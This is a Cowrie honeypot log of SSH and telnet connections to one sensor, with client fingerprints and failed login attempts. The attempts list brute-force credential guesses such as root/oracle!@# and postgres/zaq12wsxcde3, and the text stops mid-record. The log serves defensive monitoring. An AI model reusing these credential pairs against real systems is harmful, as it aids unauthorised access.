{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:48.960538Z","src_ip":"152.32.238.146","session":"02307c8f427f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:49.045841Z","src_ip":"152.32.238.146","session":"02307c8f427f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:50.064812Z","src_ip":"152.32.238.146","session":"02307c8f427f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.7","message":"Connection lost after 18.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:51.197970Z","src_ip":"156.251.179.157","session":"c6f4c32dfe5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36524,"dst_ip":"10.17.0.5","dst_port":23,"session":"685259b89c3f","protocol":"telnet","message":"New connection: 104.245.105.2:36524 (10.17.0.5:23) [session: 685259b89c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:58.435846Z"}
{"eventid":"cowrie.session.closed","duration":59.86537528038025,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:05.865978Z","src_ip":"20.123.41.163","session":"db1c97ca8cae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":32932,"dst_ip":"10.17.0.5","dst_port":22,"session":"9840e907bd6a","protocol":"ssh","message":"New connection: 152.32.238.146:32932 (10.17.0.5:22) [session: 9840e907bd6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:29.272434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:29.277138Z","src_ip":"152.32.238.146","session":"9840e907bd6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:29.287499Z","src_ip":"152.32.238.146","session":"9840e907bd6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle!@#","message":"login attempt [root/oracle!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:29.371941Z","src_ip":"152.32.238.146","session":"9840e907bd6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.548389196395874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:29.984003Z","src_ip":"104.245.105.2","session":"685259b89c3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:30.385046Z","src_ip":"152.32.238.146","session":"9840e907bd6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":33006,"dst_ip":"10.17.0.5","dst_port":22,"session":"2792496952e6","protocol":"ssh","message":"New connection: 45.144.233.139:33006 (10.17.0.5:22) [session: 2792496952e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:33.358687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:33.362751Z","src_ip":"45.144.233.139","session":"2792496952e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:33.453997Z","src_ip":"45.144.233.139","session":"2792496952e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"#admin123","message":"login attempt [root/#admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:33.833892Z","src_ip":"45.144.233.139","session":"2792496952e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:35.006288Z","src_ip":"45.144.233.139","session":"2792496952e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":34898,"dst_ip":"10.17.0.5","dst_port":23,"session":"1379d67a624d","protocol":"telnet","message":"New connection: 20.123.41.163:34898 (10.17.0.5:23) [session: 1379d67a624d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:35.861139Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60704,"dst_ip":"10.17.0.5","dst_port":23,"session":"513c0930ef2c","protocol":"telnet","message":"New connection: 104.245.105.2:60704 (10.17.0.5:23) [session: 513c0930ef2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:41.022916Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":44506,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9cff67e2f36","protocol":"ssh","message":"New connection: 46.24.47.94:44506 (10.17.0.5:22) [session: b9cff67e2f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:43.396502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:43.400615Z","src_ip":"46.24.47.94","session":"b9cff67e2f36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:43.505724Z","src_ip":"46.24.47.94","session":"b9cff67e2f36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"firewall","message":"login attempt [root/firewall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:43.958973Z","src_ip":"46.24.47.94","session":"b9cff67e2f36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":48060,"dst_ip":"10.17.0.5","dst_port":22,"session":"20084b56da72","protocol":"ssh","message":"New connection: 103.143.231.102:48060 (10.17.0.5:22) [session: 20084b56da72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:44.280496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:44.284473Z","src_ip":"103.143.231.102","session":"20084b56da72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:44.353916Z","src_ip":"103.143.231.102","session":"20084b56da72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"zaq12wsxcde3","message":"login attempt [postgres/zaq12wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:44.666638Z","src_ip":"103.143.231.102","session":"20084b56da72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:45.067019Z","src_ip":"46.24.47.94","session":"b9cff67e2f36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:23:45.740357Z","src_ip":"103.143.231.102","session":"20084b56da72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.245485067367554,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:13.268276Z","src_ip":"104.245.105.2","session":"513c0930ef2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":43584,"dst_ip":"10.17.0.5","dst_port":22,"session":"33fc8e429c25","protocol":"ssh","message":"New connection: 152.32.238.146:43584 (10.17.0.5:22) [session: 33fc8e429c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:16.802025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:16.806753Z","src_ip":"152.32.238.146","session":"33fc8e429c25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:16.819602Z","src_ip":"152.32.238.146","session":"33fc8e429c25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc@1234","message":"login attempt [test/abc@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:16.906932Z","src_ip":"152.32.238.146","session":"33fc8e429c25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:17.921153Z","src_ip":"152.32.238.146","session":"33fc8e429c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43498,"dst_ip":"10.17.0.5","dst_port":23,"session":"b95e96058568","protocol":"telnet","message":"New connection: 20.123.41.163:43498 (10.17.0.5:23) [session: b95e96058568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:19.441982Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":50428,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dab0536f9bb","protocol":"ssh","message":"New connection: 45.144.233.139:50428 (10.17.0.5:22) [session: 8dab0536f9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:21.210343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:21.214001Z","src_ip":"45.144.233.139","session":"8dab0536f9bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:21.300450Z","src_ip":"45.144.233.139","session":"8dab0536f9bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"qwer1234","message":"login attempt [mysql/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:21.677671Z","src_ip":"45.144.233.139","session":"8dab0536f9bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:22.769450Z","src_ip":"45.144.233.139","session":"8dab0536f9bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.6313412189483643,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:23.073234Z","src_ip":"20.123.41.163","session":"b95e96058568","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:26.139330Z","src_ip":"143.64.168.136","session":"adc91adeebf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.08787250518799,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:34.948922Z","src_ip":"20.123.41.163","session":"1379d67a624d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":33380,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9bd3e18c3e2","protocol":"ssh","message":"New connection: 46.24.47.94:33380 (10.17.0.5:22) [session: e9bd3e18c3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:42.109002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:24:42.113454Z","src_ip":"46.24.47.94","session":"e9bd3e18c3e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 